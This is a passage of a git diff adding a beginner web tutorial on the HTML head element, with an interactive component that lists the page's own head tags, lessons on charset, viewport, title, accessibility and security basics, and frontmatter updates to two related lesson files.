+          </label>
+        ))}
+      </fieldset>
+      <pre style={{margin: "0 0 0.5rem", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{current.code}</code></pre>
+      <table>
+        <tbody>
+          <tr><th scope="row" style={{textAlign: "start"}}>What it does</th><td>{current.does}</td></tr>
+          <tr><th scope="row" style={{textAlign: "start"}}>Who reads it</th><td>{current.who}</td></tr>
+          <tr><th scope="row" style={{textAlign: "start"}}>If it is missing</th><td>{current.missing}</td></tr>
+          <tr><th scope="row" style={{textAlign: "start"}}>Lesson</th><td>{current.lesson}</td></tr>
+        </tbody>
+      </table>
+    </div>
+  );
+}
+
+export function HeadPeek() {
+  const [data, setData] = useState(null);
+  const short = (text) => {
+    const clean = (text || "").replace(/\s+/g, " ").trim();
+    return clean.length > 70 ? clean.slice(0, 67) + "…" : clean;
+  };
+  const read = () => {
+    const children = Array.from(document.head.children);
+    const rows = children.slice(0, 40).map((element) => {
+      const tag = element.tagName.toLowerCase();
+      const label = element.getAttribute("name") || element.getAttribute("property") || element.getAttribute("rel") || element.getAttribute("http-equiv") || (element.hasAttribute("charset") ? "charset" : "");
+      let detail = "";
+      if (tag === "title") detail = element.textContent;
+      else if (tag === "style") detail = "(inline CSS)";
+      else if (tag === "script") detail = element.getAttribute("src") || "(inline script)";
+      else if (tag === "link") detail = element.getAttribute("href");
+      else detail = element.getAttribute("content") || element.getAttribute("charset");
+      return {tag, label, detail: short(detail)};
+    });
+    const viewport = document.querySelector('meta[name="viewport"]');
+    setData({
+      total: children.length,
+      shown: rows.length,
+      rows,
+      facts: [
+        ["document.title", document.title],
+        ["lang on the html element", document.documentElement.lang || "(not set)"],
+        ["Character encoding", document.characterSet],
+        ["Rendering mode", document.compatMode === "CSS1Compat" ? "standards mode (good)" : "quirks mode (a problem)"],
+        ["Viewport setting", viewport ? viewport.getAttribute("content") : "(none found)"],
+      ],
+    });
+  };
+  return (
+    <div>
+      <p style={{margin: "0 0 0.5rem"}}>
+        <button type="button" onClick={read}>Read the head of this page</button>
+      </p>
+      {data === null ? (
+        <p role="status" style={{margin: 0}}>Press the button, and the page will list what is in its own head.</p>
+      ) : (
+        <div>
+          <table>
+            <caption>Facts the browser reads from this page</caption>
+            <tbody>
+              {data.facts.map((fact) => (
+                <tr key={fact[0]}><th scope="row" style={{textAlign: "start"}}>{fact[0]}</th><td>{fact[1]}</td></tr>
+              ))}
+            </tbody>
+          </table>
+          <p role="status" style={{margin: "0.6rem 0 0.3rem"}}>
+            This page's head has <strong>{data.total}</strong> elements{data.total > data.shown ? ", and the first " + data.shown + " are listed" : ""}.
+          </p>
+          <div style={{maxHeight: "16rem", overflow: "auto", border: "1px solid #cbd5e1", borderRadius: "6px"}}>
+            <table style={{margin: 0, width: "100%"}}>
+              <thead>
+                <tr><th scope="col">Tag</th><th scope="col">Name or rel</th><th scope="col">Value</th></tr>
+              </thead>
+              <tbody>
+                {data.rows.map((row, index) => (
+                  <tr key={index}><td><code>{row.tag}</code></td><td>{row.label}</td><td style={{wordBreak: "break-all"}}>{row.detail}</td></tr>
+                ))}
+              </tbody>
+            </table>
+          </div>
+        </div>
+      )}
+      <p style={{margin: "0.5rem 0 0", fontSize: "0.9em", color: "#64748b"}}>
+        What you see is whatever this documentation site puts in its head. Tools such as Docusaurus add many tags for you. Your own pages can be much smaller.
+      </p>
+    </div>
+  );
+}
+
+Open any web page, and you see its **body**: the headings, pictures, and links. But every page also has a part you **never see**, called the **head**. It is the page's control room. It holds the title that appears in the browser tab, the instructions that tell the browser which letters to use, which stylesheets to load, and which summary a search engine or a chat app should show when someone shares your page.
+
+The information stored there is called **metadata**: data **about** the page, as opposed to the content **of** the page. A well-made head makes a page load correctly, look right on a phone, rank sensibly in search results, preview nicely when shared, and work for everyone.
+
+<AdsComponent />
+<br />
+
+## What You Will Learn in This Section
+
+- How an HTML document is organised: the `<html>` and `<head>` elements
+- Naming a page with `<title>`
+- Describing a page with `<meta>`, and getting the **character set** and **viewport** right
+- Adding a **favicon**
+- Connecting stylesheets, scripts, and other files with `<link>`, `<style>`, `<script>`, and `<base>`
+- Metadata best practices for search, sharing, and accessibility
+
+## The Big Idea
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1">
+  <title>Sourdough for Beginners | The Bread Bin</title>
+  <meta name="description" content="A gentle, step-by-step guide to your first sourdough loaf.">
+  <link rel="icon" href="/favicon.svg" type="image/svg+xml">
+  <link rel="stylesheet" href="/css/site.css">
+  <script src="/js/app.js" defer></script>
+</head>
+<body>
+  <h1>Sourdough for Beginners</h1>
+  <p>Welcome!</p>
+</body>
+</html>
+```
+
+</TabItem>
+<TabItem value="output" label="Explore the Head">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<HeadExplorer />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+Click through the elements above. For each one, ask three questions: **What does it do? Who reads it? What goes wrong if it is missing?** These three questions are the key to the whole section.
+
+A very important point: **almost nothing in the head is shown on the page itself.** The head works behind the scenes, and its readers are not just people. They are **browsers, search engines, social networks, screen readers, and operating systems.**
+
+## Try It: Read the Head of This Page
+
+The page you are reading right now has a head. Press the button, and the page will read its own `document.head`, and show you what is inside.
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```js title="script.js"
+// Everything in the head is available to JavaScript
+console.log(document.title);                         // the page title
+console.log(document.documentElement.lang);          // the lang attribute
+console.log(document.characterSet);                  // the character encoding
+
+for (const element of document.head.children) {
+  console.log(element.tagName, element.getAttribute("name") || element.getAttribute("rel"));
+}
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<HeadPeek />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+You can do the same on **any** web page: right-click, choose "View page source" or "Inspect", and look at the `<head>`. It is one of the best ways to learn: see how well-made sites set theirs up.
+
+## The Smallest Valid Head
+
+Every HTML document needs at least these three things in its head:
+
+```html
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="utf-8">
+  <title>A page title</title>
+</head>
+<body>
+  <p>Hello</p>
+</body>
+</html>
+```
+
+| Part | Why it is needed |
+| :-- | :-- |
+| `<!DOCTYPE html>` | Switches the browser into **standards mode**, so it follows the modern rules |
+| `<html lang="en">` | Names the language, for translation, pronunciation, and spelling |
+| `<meta charset="utf-8">` | Tells the browser how to read the letters |
+| `<title>` | Names the page. Required in every document |
+
+For a page that will be used on phones (that is, almost every page), also add the **viewport** line. Together, these make a good **starting template**:
+
+```html
+<meta charset="utf-8">
+<meta name="viewport" content="width=device-width, initial-scale=1">
+<title>Page title | Site name</title>
+```
+
+## What Goes Where
+
+Order matters a little in the head. A good habit:
+
+1. **`<meta charset>` first,** within the first 1024 bytes of the file, so the browser knows how to read everything after it.
+2. **`<meta name="viewport">` and `<title>`** next.
+3. **Other `<meta>` and `<link>` tags:** description, canonical address, icons, social previews.
+4. **Stylesheets,** so the page can be styled as early as possible.
+5. **Scripts,** usually with `defer`, so they do not block the page from appearing.
+
+You will learn the reasons for each choice in the lessons that follow.
+
+## What Is in This Section
+
+<DocCardList />
+
+## What Can Go in the Head?
+
+Only a short list of elements is allowed in `<head>`:
+
+| Element | Purpose |
+| :-- | :-- |
+| `<title>` | The page name (required) |
+| `<meta>` | Information about the page |
+| `<link>` | A relationship with another file, such as a stylesheet or icon |
+| `<style>` | CSS inside the page |
+| `<script>` | JavaScript (or data) |
+| `<base>` | The base address for relative links |
+| `<noscript>` | What to show when scripts are off (limited use in the head) |
+| `<template>` | A fragment that is not shown until script uses it |
+
+If you put something else in the head, such as a `<div>` or a `<p>`, the browser **closes the head early** and starts the body. Everything after that point is treated as body content, including any `<meta>` or `<link>` tags that follow. That is a common cause of "my tags do nothing" bugs.
+
+## Good Habits from the Start
+
+1. **Always include `lang`, `charset`, `viewport`, and `title`.** The four basics.
+2. **Give every page its own title and description.** Copy-pasted ones help no one.
+3. **Do not block the page.** Load scripts with `defer`, and keep the head light.
+4. **Never disable zoom.** People with low vision rely on it.
+5. **Do not trust any value that comes from a visitor** when you build a head on a server. Escape it.
+
+:::warning The head is public
+Everything in the head, including comments, is visible to anyone who views the page source. Never put passwords, private notes, internal server names, or unreleased plans in it.
+:::
+
+## Accessibility at a Glance
+
+- **`lang` on `<html>`** lets screen readers choose the right pronunciation, and browsers offer correct translation and spell checking.
+- **A unique, descriptive `<title>`** is the first thing a screen reader announces on every new page, and the label in the browser's tab list and history.
+- **A correct `viewport`,** without `user-scalable=no`, lets people zoom.
+- **`charset`** keeps text readable in every language, including text read aloud.
+- **A stylesheet that loads reliably** keeps contrast, focus rings, and layout intact.
+- **Scripts that load without blocking** keep the page usable quickly, including with assistive technology.
+
+## Security and Privacy Notes
+
+- **Anything in the head is public.** Do not put secrets there, not even in comments or hidden `meta` tags.
+- **Scripts and styles from other sites run with full power** on your page. Load only what you trust, pin versions, and use Subresource Integrity where you can. See [Third-Party Content Security](/tutorials/html/embedded-content/third-party-content-security).
+- **A `<base>` tag changes every relative link and form address.** An attacker who can inject one can redirect your visitors. Keep it out unless you need it, and put it carefully.
+- **If a server builds the head from visitor input** (for example, a title that includes a search term), **escape it**, so no one can inject extra tags.
+- **A Content-Security-Policy in a `<meta>` tag** helps, but a response header is stronger.
+- **Metadata can reveal more than you think:** editor names in comments, internal paths in script addresses, and draft notes. Review the source before publishing.
+
+## Global Audience Notes
+
+- **Set `lang`,** and use language codes that match your content (`en`, `hi`, `ar`, `pt-BR`). For right-to-left languages, also set `dir="rtl"`.
+- **Always use UTF-8** (`<meta charset="utf-8">`), which covers every language. Save your files in UTF-8 as well.
+- **Write the title and description in the language of the page,** and keep titles short enough that translations do not become too long.
+- **Tell search engines about other language versions** with `<link rel="alternate" hreflang="…">`.
+- **Think about slow connections:** a lean head, deferred scripts, and a small stylesheet help most where the network is weakest.
+- **Use the viewport tag,** because in many regions, most visitors use phones.
+
+## Common Mistakes to Avoid
+
+1. **No `<title>`,** or one title for the whole site.
+2. **No `charset`,** so accents and symbols break.
+3. **No `viewport`,** so phones show a tiny desktop page.
+4. **Disabling zoom** with `user-scalable=no` or `maximum-scale=1`.
+5. **Putting `<div>` or text in the head,** which ends the head early.
+6. **Blocking scripts in the head** with no `defer`.
+7. **Forgetting `lang` on `<html>`.**
+8. **Missing doctype,** so the browser enters quirks mode.
+9. **Duplicate or conflicting tags** (two titles, two viewports).
+10. **Secrets in comments** or metadata.
+11. **A `<base>` tag added without thinking,** breaking every relative link.
+12. **Copying one head to every page,** with the same title and description.
+
+## Practice Time
+
+Try these in your editor:
+
+1. Write the smallest valid HTML document, with a `lang`, `charset`, and `title`.
+2. Add the `viewport` meta tag, and open the page on a phone, or in your browser's phone view.
+3. Remove the `charset`, add some accented letters and an emoji, and see what happens.
+4. Add a description, and a link to an icon.
+5. Open any website, view the source, and list five things in its head.
+6. Use the button above to read this page's head, and find its `viewport` and `lang`.
+7. Put a `<p>` in the head, and look at the page in your browser's inspector to see what the browser did.
+8. Add a stylesheet with `<link>`, and a script with `defer`.
+9. Give three different pages three different titles and descriptions.
+10. Bonus: use a free online checker for your page's metadata, and fix the first three problems it finds.
+
+<AdsComponent />
+<br />
+
+## Quick Recap
+
+Click a question to check your answer.
+
+<details>
+<summary>1. What is the head of an HTML page?</summary>
+
+The part that holds information about the page (metadata) and links to the files it needs. It is not shown on the page itself, except for things like the title in the tab and the icon.
+
+</details>
+
+<details>
+<summary>2. Which four things should every page's head include?</summary>
+
+A `lang` attribute on `<html>`, `<meta charset="utf-8">`, a `viewport` meta tag, and a unique `<title>`.
+
+</details>
+
+<details>
+<summary>3. Who reads the head?</summary>
+
+Browsers, search engines, social networks and messaging apps, screen readers, and operating systems. People mostly see only its effects.
+
+</details>
+
+<details>
+<summary>4. Why must `<meta charset>` come early?</summary>
+
+The browser needs to know how to read the letters before it reads the rest of the file. It should appear within the first 1024 bytes.
+
+</details>
+
+<details>
+<summary>5. What happens if you put a `<div>` in the head?</summary>
+
+The browser closes the head and starts the body at that point. Any `<meta>` or `<link>` after it is then in the body, and may not work as intended.
+
+</details>
+
+<details>
+<summary>6. Is the head private?</summary>
+
+No. Anyone can view the page source, so never put secrets, private notes, or internal details in the head.
+
+</details>
+
+## Key Takeaways
+
+- The **head** holds **metadata**: information about the page, for browsers, search engines, social apps, and assistive technology.
+- Every page needs a **doctype, `lang`, `charset`, and `title`**, and nearly every page needs a **viewport** tag.
+- Put `charset` first, then the viewport and title, then other `meta` and `link` tags, then styles, and then scripts with `defer`.
+- Only `title`, `meta`, `link`, `style`, `script`, `base`, `noscript`, and `template` belong in the head.
+- Give **each page its own title and description**.
+- **Never disable zoom,** and never hide secrets in the head.
+- Treat third-party files and server-built values with care.
+- Use UTF-8 and `lang`, write for your audience's language, and keep the head light for slow connections.
+
+Ready to start? Begin with [HTML](./html-head/html), the root element that holds everything.
\ No newline at end of file
diff --git a/tutorials/html/12-html-head/meta.mdx b/tutorials/html/12-html-head/meta.mdx
index 8775f8c93..b92ba32fc 100644
--- a/tutorials/html/12-html-head/meta.mdx
+++ b/tutorials/html/12-html-head/meta.mdx
@@ -1,15 +1,21 @@
 ---
-id: meta-element
-title: "Document Metadata: The meta Element and Key Names"
-sidebar_label: "Meta Tags (<meta>)"
+id: html-meta
+title: "The HTML Meta Element"
+sidebar_label: "Meta"
 sidebar_position: 5
 slug: /html/html-head/meta
-description: "Discover how meta elements convey crucial page information to search crawlers, web browsers, and social sharing platforms."
+description: "Learn the HTML meta element: name and content pairs, http-equiv, descriptions, robots, theme-color, color-scheme, and social sharing tags. Includes a live meta tag checker that uses the browser's real parser, and a social card preview builder."
 keywords:
   - HTML meta tag
-  - meta description attribute
-  - meta keywords search engine
-  - page metadata HTML
+  - meta description
+  - meta robots noindex
+  - meta theme-color
+  - meta http-equiv
+  - meta refresh accessibility
+  - open graph tags
+  - twitter card meta
+  - color-scheme meta
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, head, meta, seo]
+tags: [html, web-development, beginner, meta, seo, open-graph, accessibility, head, frontend]
 ---
\ No newline at end of file
diff --git a/tutorials/html/12-html-head/title.mdx b/tutorials/html/12-html-head/title.mdx
index 6d04fab9d..999a7523c 100644
--- a/tutorials/html/12-html-head/title.mdx
+++ b/tutorials/html/12-html-head/title.mdx
@@ -1,15 +1,20 @@
 ---
-id: title-element
-title: "Document Title: The title Element for Browser Tabs and SEO"
-sidebar_label: "Document Title (<title>)"
+id: html-title
+title: "The HTML Title Element"
+sidebar_label: "Title"
 sidebar_position: 4
 slug: /html/html-head/title
-description: "Master writing effective title tags that appear on browser tabs, search engine results pages (SERPs), and social bookmarks."
+description: "Learn how to write great HTML page titles: where the title shows up, how long it should be, how to structure it for search results and screen readers, what characters are safe, and how to update it in single-page apps. Includes a live tab and search-result preview."
 keywords:
   - HTML title tag
-  - document title SEO
-  - browser tab title
   - page title best practices
+  - title element
+  - document.title
+  - SEO title length
+  - WCAG page titled
+  - accessible page title
+  - title tag in Docusaurus
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, head, title, seo]
+tags: [html, web-development, beginner, title, seo, accessibility, head, frontend]
 ---
\ No newline at end of file